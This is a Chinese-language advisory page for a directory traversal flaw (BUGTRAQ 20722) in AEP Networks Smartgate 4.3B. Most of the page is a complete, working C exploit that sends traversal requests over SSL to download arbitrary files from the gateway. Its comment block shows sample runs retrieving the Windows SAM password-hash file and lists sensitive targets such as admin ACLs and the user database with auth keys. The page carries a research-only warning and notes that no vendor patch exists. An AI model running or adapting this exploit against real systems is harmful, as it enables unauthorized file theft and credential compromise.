发布日期：2006-10-24
更新日期：2006-10-26

受影响系统：

AEP Networks Smartgate 4.3B

描述：

---

BUGTRAQ  ID: 20722

SmartGate是在大型分布式环境中所使用的基于身份的应用层安全网关。

SmartGate中默认运行于443端口上的SSL服务程序存在目录遍历漏洞，攻击者可以发送特制的HTTP请求，然后通过返回的HTTP头响应判断是否存在远程目录。

<*来源：prdelka
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/* prdelka-vs-AEP-smartgate
* ========================
* Smartgate is an application layer security gateway that meets FIPS 140-2
* requirements for large-scale networked environments for IP-based Networks.
* AEP provide network solutions for government, law enforcement, homeland security,
* public safety, criminal intelligence and much more.
*
* A vulnerability exists in the smartgate SSL server (listens on port 443 by default)
* which may allow a malicious user to download arbitrary files with the priviledges
* of the smartgate server.
*
* By analyzing the returned HTTP header response, an attacker can also test for the
* existance of a remote directory. Remote directories return a "Moved Permanently"
* error, as opposed to a 404, as shown below.
*
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f progra~1/v-one/smartgate/data -l sgusrdb.idx
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 301 Moved Permanently
* Date: Tue Nov 22 16:53:11 GMT+00:00 2005
* Location: /..\..\..\..\..\..\..\progra~1/v-one/smartgate/data/
* Server: SSLSERVER/1.0
* Content-Type: text/html
* Expires: Now
*
* [ Exploit success, directory found
*
* A number of files/directories on win32 installations of smartgate may help the attacker further compromise
* the VPN. Under unix installations the default root directory of smartgate is "/usr/smartgate" but may vary.
*
*  + progra~1/v-one/smartgate  - default directory for smartgate installation.
*    + data                    - default directory for data files.
*     - adm-gw.acl             - admin users are defined here.
*     - reginfo.dat            - defines data entry fields for users.
*     - sgate.acl              - access control for secured TCP services.
*     - sgconf.ini             - dynamic information on the smartgate server including CA information.
*     - sgusrdb.idx            - contains userid status,long name,group,auth key.
*     - sweb.acl               - provides access control to webserver.
*     - sweb.dny               - denies access to specified webservers.
*  + winnt                     - common system root directory, varies.
*   + repair                   - contains backup SAM file.
*     - sam                    - backup of SAM file containing password hashes.
*   + system32                 - common system32 directory, resides above %sysroot%
*     - kernel32.dll           - detailed information of win32 version installed.
*
* Example.
* Below is an example of exploit being used to retrieve the SAM password file in a real world attack. This
* exploit is untested against unix implementations of smartgate but should function as expected with little
* or no modification (char *http1). Tested against Smartgate V4.3B
*
* localhost 0day # gcc prdelka-vs-AEP-smartgate.c -o prdelka-vs-AEP-smartgate -lssl
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f winnt/repair/sam. -l sam
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 200 OK
* Date: Tue Nov 22 17:06:00 GMT+00:00 2005
* Content-type: text/plain
* Content-length: 20480
* Server: SSLSERVER/1.0
* Expires: Now
*
* [ Exploit success, file found
* [ Recieved 20480 byte(s) and saved as 'sam'
*
* - prdelka
*/
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>

int main(int argc,char *argv[])
{
    BIO * bio;
    SSL * ssl;
    SSL_CTX * ctx;
    int p,c,fd,index = 0;
    unsigned long size = 0;
    int ihost = 0, iport = 0, ifile = 0, ilocal = 0, check = 0;
    char *host,*request,*file,*connect,*port,*httpbuf,*httpbuf2;
    char *http1 = "GET /..\\..\\..\\..\\..\\..\\..\\";
    char *http2 = " HTTP/1.1\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A";
    char r[1024];
    static struct option options[]= {
        {"server", 1, 0, 's'},
        {"port", 1 , 0, 'p'},
        {"remotefile", 1, 0, 'f'},
        {"localfile", 1, 0, 'l'},
        {"help", 0, 0, 'h'}
    };
    printf("[ AEP/Smartgate arbitrary file download exploit\n");
    while(c != -1)
    {
        c = getopt_long(argc,argv,"s:p:f:l:h",options,&index);
        switch(c){
        case -1:
                break;
        case 's':
                host = malloc(strlen(optarg) + 1);
                sprintf(host,"%s",optarg);
                ihost = 1;
                break;
        case 'p':
                port = malloc(strlen(optarg) + 1);
                sprintf(port,"%s",optarg);
                iport = 1;
                break;
        case 'f':
                request = malloc(strlen(optarg) + strlen(http1) + strlen(http2) + 1);
                sprintf(request,"%s%s%s",http1,optarg,http2);
                ifile = 1;
                break;
        case 'l':
                file = malloc(strlen(optarg) + 1);
                sprintf(file,"%s",optarg);
                ilocal = 1;
                break;
        case 'h':
                printf("[\n[ %s\n",argv[0]);
                printf("[   --server|-s <dns/ip>\n");
                printf("[   --port|-p <port>\n");
                printf("[   --remotefile|-f <path/and/file>\n");
                printf("[   --localfile|-l <localfile/to/saveas>\n");
                printf("[\n[ For a more detailed explanation read the source\n");
                exit(0);
                break;
        default:
                break;
                
        }
    }
    if(ihost != 1 || iport != 1 || ifile != 1 || ilocal != 1){
        printf("[ Try %s --help\n",argv[0]);
        exit(0);
    }
    ERR_load_BIO_strings();
    SSL_load_error_strings();
    OpenSSL_add_all_algorithms();
    ctx = SSL_CTX_new(SSLv23_client_method());
    bio = BIO_new_ssl_connect(ctx);
    BIO_get_ssl(bio, & ssl);
    SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY);
    connect = malloc(strlen(host) + strlen(port) + 2);
    sprintf(connect,"%s:%s",host,port);
    BIO_set_conn_hostname(bio, connect);
    if(BIO_do_connect(bio) <= 0)
    {
        fprintf(stderr, "[ Error attempting to connect\n");
        ERR_print_errors_fp(stderr);
        BIO_free_all(bio);
        SSL_CTX_free(ctx);
        return 0;
    }
    printf("[ Connected to %s via (%s/tcp)\n",host,port);
    BIO_write(bio, request, strlen(request));
    check = 0;
    httpbuf = malloc(2);
    memset(httpbuf,0,2);
    while(check == 0)
    {
        p = BIO_read(bio, r, 1);
        r[p] = 0;
    httpbuf2 = malloc(strlen(r) + strlen(httpbuf) + 1);
        sprintf(httpbuf2,"%s%s",httpbuf,r);
    free(httpbuf);
    httpbuf = httpbuf2;
    check = (int)strstr(httpbuf,"\n\n");
    }
    printf("[ Displaying raw HTTP response details\n");
    printf("%s",httpbuf);
    check = 0;
    check = (int)strstr(httpbuf,"200 OK");
    if(check != 0)
    {
    printf("[ Exploit success, file found\n");
        fd = open(file,O_RDWR|O_CREAT,S_IRWXU);
        if(fd == -1){
            printf("[ Error creating %s",file);
            exit(0);
        }
        for(;;)
        {
               p = BIO_read(bio, r, 1023);
            if(p <= 0) break;
                   r[p] = 0;
        write(fd,r,p);
        size = size + p;
        }
    printf("[ Recieved %u byte(s) and saved as '%s'\n",size,file);
    close(fd);
    }
    if(check==0)
    {
        check = (int)strstr(httpbuf,"301 Moved");
        if(check != 0)
        {
            printf("[ Exploit success, directory found\n");
        }
    }
    free(httpbuf);
    if(check == 0)
    {
        printf("[ Exploit failed\n");
    }
    BIO_free_all(bio);
    SSL_CTX_free(ctx);
    return 0;
}

建议：

---

厂商补丁：

AEP Networks
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.aepnetworks.com/

浏览次数：3503
严重程度：0（网友投票）